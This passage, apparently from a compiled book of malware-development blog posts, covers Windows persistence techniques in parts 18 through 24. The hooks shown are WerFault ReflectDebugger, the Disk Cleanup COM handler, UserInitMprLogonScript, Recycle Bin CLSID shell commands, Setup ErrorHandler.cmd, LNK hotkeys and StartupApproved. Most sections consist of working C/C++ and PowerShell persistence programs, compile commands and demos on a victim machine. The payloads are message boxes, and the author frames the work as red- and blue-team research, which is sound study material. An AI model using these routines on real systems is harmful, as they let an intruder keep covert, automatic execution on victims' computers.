RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf,
strlen(wf));
RegCloseKey(hkey);
}
As a result, the final source code looks something like this (pers.cpp):
/*
pers.cpp
windows persistense via WerFault.exe
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";

// hijacked app
const char* wf = "WerFault.exe -pr 1";

// set evil app


LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)
"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 ,
KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}

// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf,
strlen(wf));
RegCloseKey(hkey);
}
return 0;

748
}

demo
Let’s go to see everything in action. Compile our “evil” app:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

and persistence script:


x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Before run everything, first of all, check registry key and value:
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" /s
Run “malware” for checking correctness:
.\hack.exe

749
Also, check registry keys which used for persistence logic:
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /s

Then, run pers.exe:


.\pers.exe
and check Windows Error Reporting registry key again:
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" /s

750
As you can see, key value is edited and we can check correctness via running:
WerFault.exe -pr 1

Then, logout and login:

751
and after a few seconds our meow-meow messagebox is popped-up as expected:

You can check the properties of hack.exe via Process Hacker 2:

752
Also, pay attention that admin privileges required for hijacking Windows Error Report-
ing, but for persistence we use low-level privileges:
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error
Reporting\Hangs" -Name "ReflectDebugger"
Remove-ItemProperty -Path
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "meow"

753
Which can you notice if you decide to “return everything back to its place”.
So, as you can see everything is worked perfectly! =.. =
The next one was supposed to be 17, but it will come out together with the
third part about the theft of tokens. I couldn’t understand for 10 minutes
why it doesn’t work for me :)

754
I don’t know if any APT in the wild used this tactic and trick, but, I hope this post
spreads awareness to the blue teamers of this interesting technique especially when
create software, and adds a weapon to the red teamers arsenal.
MSDN Windows Error Reporting
DLL hijacking
DLL hijacking with exported functions
Malware persistence: part 1
source code in github

755
85. malware development: persistence - part 19. Disk Cleanup
Utility. Simple C++ example.

This post is based on my own research into one of the more interesting malware persis-
tence tricks: via Disk Cleanup Utility.

disk cleanup
If you have ever had an issue with limited hard disk space, you are certainly familiar
with the Disk Cleanup utility:

756
Good news for red teamers, the “Files to delete” list displayed in the user interface is not
random. Just run command:
reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCache

757
As you can see, there are even default values of registry keys here.
Also, if we have HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\default=<CL
we can find another registry key value: HKCR\CLSID\<CLSID>\InProcServer32 =
<DLLPATH>:

758
For demo purposes, here I show the example of the registry from
HKEY_CLASSES_ROOT because HKEY_CURRENT_USER is empty
This suggests, that we can use COM DLL hijacking for persistence. Let’s try.

practical example
First of all, as usually, create “evil” DLL (hack.cpp):
/*
hack.cpp
simple DLL
author: @cocomelonc
https://cocomelonc.github.io/persistence/2022/11/16/malware-pers-19.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason,


LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:

759
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As usually, for simplicity, it’s just meow-meow messagbox.
And then create persistence script (pers.cpp):
/*
pers.cpp
windows persistence via Disk Cleaner
author: @cocomelonc
https://cocomelonc.github.io/persistence/2022/11/16/malware-pers-19.html
*/
#include <windows.h>
#include <string.h>
#include <cstdio>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// subkey
const char* sk =
"Software\\Classes\\CLSID\\{8369AB20-56C9-11D0-94E8-00AA0059CE02}
\\InprocServer32";

// malicious DLL
const char* dll = "Z:\\2022-11-16-malware-pers-19\\hack.dll";

// startup
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys

760
RegSetValueEx(hkey, NULL, 0, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey value :(\n");
return -1;
}
return 0;
}
As CLSID I took 8369AB20-56C9-11D0-94E8-00AA0059CE02. As you can see code
is similar to COM hijacking post. The difference is only in the values of the variables.

demo
Let’s go to compile our evil DLL:
x86_64-w64-mingw32-gcc -shared -o hack.dll hack.cpp

And persistence script:


x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Copy to victim’s machine. In my case Windows 10 x64. Run:


reg query "HKCU\Software\Classes\CLSID\{8369AB20-56C9-11D0-94E8-00AA0059CE02}" /s
.\pers.exe

761
As you can see, everything is worked perfectly! =.. =
But for persistence. requires the user to run Disk Cleanup Utility. Here, I can use one
of the classic trick for persistence. Adding Disk Cleanup to run during the start-up may
not be the best idea, because it has a GUI. I tried using the command line arguments of
this program:
cleanmgr.exe

762
cleanmgr.exe /cleanup
cleanmgr.exe /autoclean
cleanmgr.exe /setup
But failed :(. It worked correctly:

I think I will return to this issue in one of the future posts.


Also, according to microsoft documentation, we can add new entries to: HKLM\SOFTWARE\Microsoft\Windows\Current
I don’t know if any APT in the wild used this tactic and trick, but, I hope this post
spreads awareness to the blue teamers of this interesting technique especially when
create software, and adds a weapon to the red teamers arsenal.
MSDN Registering Disk Cleanup Handler
DLL hijacking
DLL hijacking with exported functions
Malware persistence: part 1
Malware persistence: part 3
source code in github

763
86. malware development: persistence - part 20. UserInitMprL-
ogonScript (Logon Script). Simple C++ example.

This post is based on my own research into one of the more interesting malware persis-
tence tricks: via UserInitMprLogonScript value.

UserInitMprLogonScript
Windows enables the execution of logon scripts whenever a user or group of users logs
into a system. Adding a script’s path to the HKCU\Environment\UserInitMprLogonScript
Registry key accomplishes this. So, to establish persistence, hackers may utilize Windows
logon scripts automatically executed upon logon initialization.

practical example
Let’s go to look at a practical example. First of all, as usually, create “evil” application.
For simplicity, as usually, it’s meow-meow messagebox application (hack.cpp):
/*
hack.cpp
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/09/malware-pers-20.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR


lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);

764
return 0;
}
And, then just create persistence script (pers.cpp):
/*
pers.cpp
windows persistence via
setting UserInitMprLogonScript value
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/12/09/malware-pers-20.html
*/
#include <windows.h>
#include <string.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

// env
const char* env = "Environment";

// evil app
const char* exe = "Z:\\2022-12-09-malware-pers-20\\hack.exe";

// environment
LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)env, 0 , KEY_WRITE,
&hkey);
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add "HKEY_CURRENT_USER\Environment" /v "UserInitMprLogonScript" /t
// REG_SZ /d "...\hack.exe" /f
RegSetValueEx(hkey, (LPCSTR)"UserInitMprLogonScript", 0, REG_SZ,
(unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}

return 0;
}
As you can see, the logic is simple. Just set UserInitMprLogonScript
key value under HKCU\Environment to the full path of our “malware” -
Z:\\2022-12-09-malware-pers-20\hack.exe.

demo
Let’s go to see everything in action. First of all, check Registry:
reg query "HKCU\Environment" /s

765
Then, compile our “malware” at the attacker’s machine (kali):
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And for checking correctness, try to run hack.exe at the victim’s machine (Windows
10 x64 in my case):
.\hack.exe

As you can see, our “malware” works perfectly.


At the next step, let’s go to compile our persistence script at the attacker’s machine:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

766
And run it at the attacker’s machine:
.\pers.exe
Then, check our Registry key values again:
reg query "HKCU\Environment" /s

So, as you can see, the key (UserInitMprLogonScript) value is set.


That’s all. Try to logout and login:

767
And after a few milliseconds, our “malware”, meow-meow popped up:

768
Then, if we open Process Hacker and check hack.exe properties:

769
we see that the parent process is “non-existent” process.
If you have studied the windows internals at least a little, you know that exists
processes which have “non-existent” process as parent. For example, Windows
Explorer - explorer.exe. Parent process is userinit.exe or winlogon.exe, but
can be anything .exe using explorer.exe. Parent will show as <Non-existent
Process> since userinit.exe terminates itself. Another example is Windows Logon
- winlogon.exe. Parent is “does not exist” since smss.exe exits.
If we check hack.exe properties via Sysinternals Process Explorer, we can see “Au-
tostart Location” value:

770
Everything is worked perfectly! =.. =
After the end of experiment, delete the key:
Remove-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript"

This persistence trick is used by APT28 group and software like Attor and Zebrocy at
the wild.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Sysinternals Process Explorer
Malware persistence: part 1
APT28

771
Attor
Zebrocy (Trojan)
source code in github

772
87. malware development: persistence - part 21. Recycle Bin, My
Documents COM extension handler. Simple C++ example.

This post is based on my own research into one of the more interesting malware persis-
tence tricks: via modifying Recycle Bin COM extension handling.

CLSID list
Certain special folders within the operating system are identified by unique strings:
• {20d04fe0-3aea-1069-a2d8-08002b30309d} - My Computer

• {450d8fba-ad25-11d0-98a8-0800361b1103} - My Documents

• {208d2c60-3aea-1069-a2d7-08002b30309d} - My Network Places

• {1f4de370-d627-11d1-ba4f-00a0c91eedba} - Network Computers

• {2227a280-3aea-1069-a2de-08002b30309d} - Printers and Faxes

• {645ff040-5081-101b-9f08-00aa002f954e} - Recycle Bin


Adding the open\command subkey to the CLSID and adding a new verb for the shell
key will execute the value stored in the \command entry.

practical example
Let’s go to look at a practical example. First of all, as usually, create “evil” application.
For simplicity, as usually, it’s meow-meow messagebox application (hack.cpp):

773
/*
hack.cpp
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
And, then just create persistence script (pers.cpp):
/*
pers.cpp
windows persistence via
recycle bin COM extension handler
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/
#include <windows.h>
#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
HKEY hkR = NULL;

// shell
const char* shell =
"SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell";

// evil app
const char* exe =
"C:\\Users\\IEUser\\Desktop\\research\\2023-01-20-malware-pers-21\\hack.exe";

// key
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)shell, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
res = RegCreateKeyExA(hkey, "open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_A
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002

774
// /ve /t REG_SZ /d "hack.exe" /f
// RegSetValueEx(hkey, (LPCSTR)"open\\command", 0, REG_SZ, (unsigned char*)exe, strlen
RegSetValueEx(hkR, NULL, 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkR);
// RegCloseKey(hkey);
}
RegCloseKey(hkey);
}
return 0;
}
As you can see, the logic is simple.

demo
Let’s go to see everything in action. First of all, check Registry:
reg query
"HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell"
/s

Then, compile our “malware” at the attacker’s machine (kali):


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

And for checking correctness, try to run hack.exe at the victim’s machine (Windows
10 x64 in my case):
.\hack.exe

775
As you can see, our “malware” works perfectly.
At the next step, just compile our persistence script at the attacker’s machine:
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

Finally, run this persistence script at the victim’s machine and check Registry again:
.\pers.exe
reg query "HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell" /s

776
So, as you can see, subkey added and the key value is set.
Then, try to open Recycle Bin:

777
If we open ProcessExplorer and see properties of hack.exe:

we can notice that its parent process is explorer.exe (1680).


Perfect! =.. =

what about another CLSID from the list?


I made a small change to the persistence script:
/*
pers.cpp
windows persistence via

778
recycle bin COM extension handler
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/01/20/malware-pers-21.html
*/
#include <windows.h>
#include <string.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;
HKEY hkR = NULL;

// shell
const char* shell =
"SOFTWARE\\Classes\\CLSID\\{450d8fba-ad25-11d0-98a8-0800361b1103}\\shell"

// evil app
const char* exe =
"C:\\Users\\IEUser\\Desktop\\research\\2023-01-20-malware-pers-21\\hack.exe";

// key
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)shell, 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
res = RegCreateKeyExA(hkey, "open\\command", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_A
if (res == ERROR_SUCCESS) {
// update registry key value
// reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\
// {450d8fba-ad25-11d0-98a8-0800361b1103}\shell\open\command”
// /ve /t REG_SZ /d "hack.exe" /f
// RegSetValueEx(hkey, (LPCSTR)"open\\command", 0, REG_SZ,
// (unsigned char*)exe, strlen(exe));
RegSetValueEx(hkR, NULL, 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkR);
// RegCloseKey(hkey);
}
RegCloseKey(hkey);
}
return 0;
}
Compile and run at the victim’s machine:
.\pers.exe
reg query
"HKLM\SOFTWARE\Classes\CLSID\
{450d8fba-ad25-11d0-98a8-0800361b1103}\shell" /s

779
But… Not working for me at Windows 10 as they use that stupid Start Menu, I can’t
find My Documents folder on the Desktop feature.
I also try to do this trick with another CLSID at the Windows 7 x86 machine. It works
for My Computer folder.

780
I don’t know if any APT groups or malware family applies this trick.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Malware persistence: part 1
source code in github

781
88. malware development: persistence - part 22. Windows Setup.
Simple C++ example.

This post is based on my own research into one of the more interesting malware persis-
tence tricks: via Windows Setup script.

setup script
C:\WINDOWS\system32\oobe\Setup.exe is an executable file on the Windows op-
erating system. The oobe directory stands for “Out Of Box Experience,” which is part of
the process users go through when they are setting up Windows for the first time, such
as creating a user account, setting preferences, choosing default settings, etc.

782
Turns out, if you place your payload in c:\WINDOWS\Setup\Scripts\ErrorHandler.cmd,
c:\WINDOWS\system32\oobe\Setup.exe will load it whenever an error occurs.

practical example
Let’s go to look at a practical example. First of all, as usually, create “evil” application.
For simplicity, as usually, it’s meow-meow messagebox “malware” application (hack.c):
/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
And, then just create file ErrorHandler.cmd for persistence:
@echo off
"C:\Users\user\Desktop\research\2023-07-16-malware-pers-22\hack.exe"

783
As you can see, the logic is pretty simple.

demo
Let’s go to see everything in action. First of all, compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, move our ErrorHandler.cmd to C:\Windows\Setup\Scripts\:

Ok, the next step, need to run Setup.exe with error. The simplest method is to execute
Setup.exe without any arguments:
.\Setup.exe

If we open Process Hacker and see properties of hack.exe:

784
we can notice that its parent process is cmd.exe (7264),

785
In turn, its parent is the Setup.exe (4876) process:

786
As you can see, our persistence logic works perfectly! =.. =

practical example 2. persistence script


For the sake of completeness of the experiment, I created a file pers.c:
/*
pers.c
windows persistence via Windows Setup
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/07/16/malware-pers-22.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


// create the directory if not exist

787
if (!CreateDirectory("C:\\WINDOWS\\Setup\\Scripts", NULL)) {
DWORD error = GetLastError();
if (error != ERROR_ALREADY_EXISTS) {
printf("failed to create directory. error: %lu\n", error);
return -1;
}
}

// open the file for writing


HANDLE hFile = CreateFile("C:\\WINDOWS\\Setup\\Scripts\\ErrorHandler.cmd",
GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("failed to create ErrorHandler file. error: %lu\n", GetLastError());
return -1;
}

// content to write to the file


const char* data = "@echo
off\n\"C:\\Users\\user\\Desktop\\research\\2023-07-16-malware-pers-22\\
hack.exe\"";

// write the content to the file


DWORD bytesWritten;
if (!WriteFile(hFile, data, strlen(data), &bytesWritten, NULL)) {
printf("failed to write to ErrorHandler file. error: %lu\n",
GetLastError());
}

// close the file handle


CloseHandle(hFile);
return 0;
}
Note that, this program needs to be run with administrator rights as it’s trying to create
a directory and a file under C:\WINDOWS, which requires administrative privileges.

788
demo 2
Let’s go to see everything in action. Compile our persistence script:
x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Then, just run it with administrative privileges on the victim’s machine:


.\pers.exe

In my case, before run it I deleted this folder:

789
Run, Setup.exe again:

790
Perfect! =.. =

conclusion
This is a common filename for an installer package. In this case, it’s part of Windows’s
setup and initialization process. It’s used during the installation of the operating system,
as well as when adding or modifying features and components.
As you can see, however, please note that although it is a legitimate part of the Windows
operating system, malicious programs can sometimes name themselves Setup.exe to
avoid detection.

791
There are also other files to inside the c:\WINDOWS\system32\oobe\ folder:

I have not checked them.


This trick has been previously researched by hexacorn:

792
, I just show the dirty PoC code in C: pers.c.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Malware persistence: part 1
https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/
https://twitter.com/Hexacorn/status/1482484486994640896
source code in github

793
89. malware development: persistence - part 23. LNK files. Simple
Powershell example.

This post is based on my own research into one of the more interesting malware persis-
tence tricks: via Windows LNK files.

LNK
According to Microsoft, an LNK file serves as a shortcut or “link” in Windows, providing
a reference to an original file, folder, or application. For regular users, these files serve a
meaningful purpose, facilitating file organization and workspace decluttering. However,
from an attacker’s perspective, LNK files take on a different significance. They have been
exploited in various documented attacks by APT groups and, to my knowledge, remain a
viable option for activities such as phishing, establishing persistence, executing payloads.
Do you know that Windows shortcuts can be registered using a shortcut key in terms
of execution? This is the main trick for malware persistence in this case.

practical example
Let’s say we have a “malware”. As usually, meow-meow messagebox application hack.c:
/*
hack.c
evil app for windows persistence
author: @cocomelonc
https://cocomelonc.github.io/malware/2023/12/10/malware-pers-23.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")

794
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
And then, just create powershell script for create LNK file with the following properties:
# Define the path for the shortcut on the desktop
$shortcutPath = "$([Environment]::GetFolderPath('Desktop'))\Meow.lnk"

# Create a WScript Shell object


$wshell = New-Object -ComObject Wscript.Shell

# Create a shortcut object


$shortcut = $wshell.CreateShortcut($shortcutPath)

# Set the icon location for the shortcut


$shortcut.IconLocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"

# Set the target path and arguments for the shortcut


$shortcut.TargetPath = "Z:\2023-12-10-malware-pers-23\hack.exe"
$shortcut.Arguments = ""

# Set the working directory for the shortcut


$shortcut.WorkingDirectory = "Z:\2023-12-10-malware-pers-23"

# Set a hotkey for the shortcut (e.g., CTRL+W)


$shortcut.HotKey = "CTRL+W"

# Set a description for the shortcut


$shortcut.Description = "Not malicious, meow-meow malware"

# Set the window style for the shortcut (7 = Minimized window)


$shortcut.WindowStyle = 7

# Save the shortcut


$shortcut.Save()

# Optionally make the link invisible by adding 'Hidden' attribute


# (Get-Item $shortcutPath).Attributes += 'Hidden'
As you can see, the logic is pretty simple. We simply create a shortcut on the desktop that
has a hotkey specified: CTRL+W. Of course, in real attack scenarios it could be something
like CTRL+C, CTRL+V or CTRL+P, etc.
For example, if you create a shortcut for Paint, it does not have any hotkey specified:

795
Explorer restricts shortcut support to commands beginning with
CTRL+ALT. Additional sequences must be set programmatically through
COM.

demo
Let’s go to see everything in action. First of all, compile our “malware”:
x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

For checking correctness, run it:


.\hack.exe

796
The just run our powershell script for persistence:
Get-Content pers.ps1 | PowerShell.exe -noprofile -

797
As a result, Meow LNK file is created successfully.
If we look at its properties, everything is ok:

798
Finally just run it and try to trigger CTRL+W hotkey:

799
As you can see, everything worked perfectly as expected! =.. = :)
This technique is used by APT groups like APT28, APT29, Kimsuky and software like
Emotet in the wild. In all honesty, this method is widely employed and widespread due
to its extreme convenience in deceiving the victims.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
Many thanks to my friend and colleague Anton Kuznetsov, he reminded me of this
technique when he presented one of his most amazing talks.
ATT&CK MITRE: T1204.001
APT28
APT29
Kimsuky
Emotet
MSDN: Shell Link (.LNK) Binary File Format
Malware persistence: part 1
source code in github

800
90. malware development: persistence - part 24. StartupApproved.
Simple C example.

This post is based on my own research into one of the another interesting malware
persistence tricks: via StartupApproved Registry key.

StartupApproved
The very first post in the series about persistence, I wrote about one of the most popular
and already classic techniques, via Registry Run keys.
An uncommon Registry entry utilized by the standard “startup” process (i.e., the one
mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup
folder, etc.) after userinit.exe completes its operation, is located at the following
location in the Registry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run
Turns out, this key is populated when entries are enabled or disabled via the Windows
Task Manager’s Startup tab:

801
The good news is that we can use this registry path for persistence.

practical example
First of all, check Registry keys by the following command:
reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved"
/s

At the next step, as usually, create our “evil” application (hack.c):


/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html

802
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {


switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
As usually, just meow-meow messagebox.
Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved
registry key, like this (pers.c):
/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00};

const char* path =


"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\

803
StartupApproved\\Run";
const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE,


&hkey);
printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" :
"successfully open registry key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));


printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

// close the registry key


RegCloseKey(hkey);

return 0;
}
As you can the the logic of our Proof of Concept is pretty simple - we set the value of
the registry entry to 0x02 0x00... binary value.

demo
Let’s go to see everything in action. First of all, compile our “malware” DLL:
x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

Then, compile our PoC:


x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

804
Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it
is looks like this:
.\pers.exe

As you can see, I also checked registry again:


reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved"
/s

805
Then, logout and login again:

806
But unexpectedly it didn’t work for me…
Then, I just update the name of entry:

Logout and login, little bit wait…. and it’s worked perfectly….

807
So I updated one line in my script:
/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {


HKEY hkey = NULL;

808
BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00};

const char* path =


"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\
StartupApproved\\Run";
const char* evil = "C:\\temp\\hack.dll";

LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE,


&hkey);
printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" :
"successfully open registry key :)\n");

res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));


printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" :
"successfully set registry value :)\n");

// close the registry key


RegCloseKey(hkey);

return 0;
}
But there is a caveat. Sometimes when I tested this feature, it launched like Skype for
me:

809
As you can see, everything worked perfectly as expected! =.. = :)
This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the
wild. In all honesty, this method is widely employed and widespread due to its extreme
convenience in deceiving the victims.
I hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.
ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

810
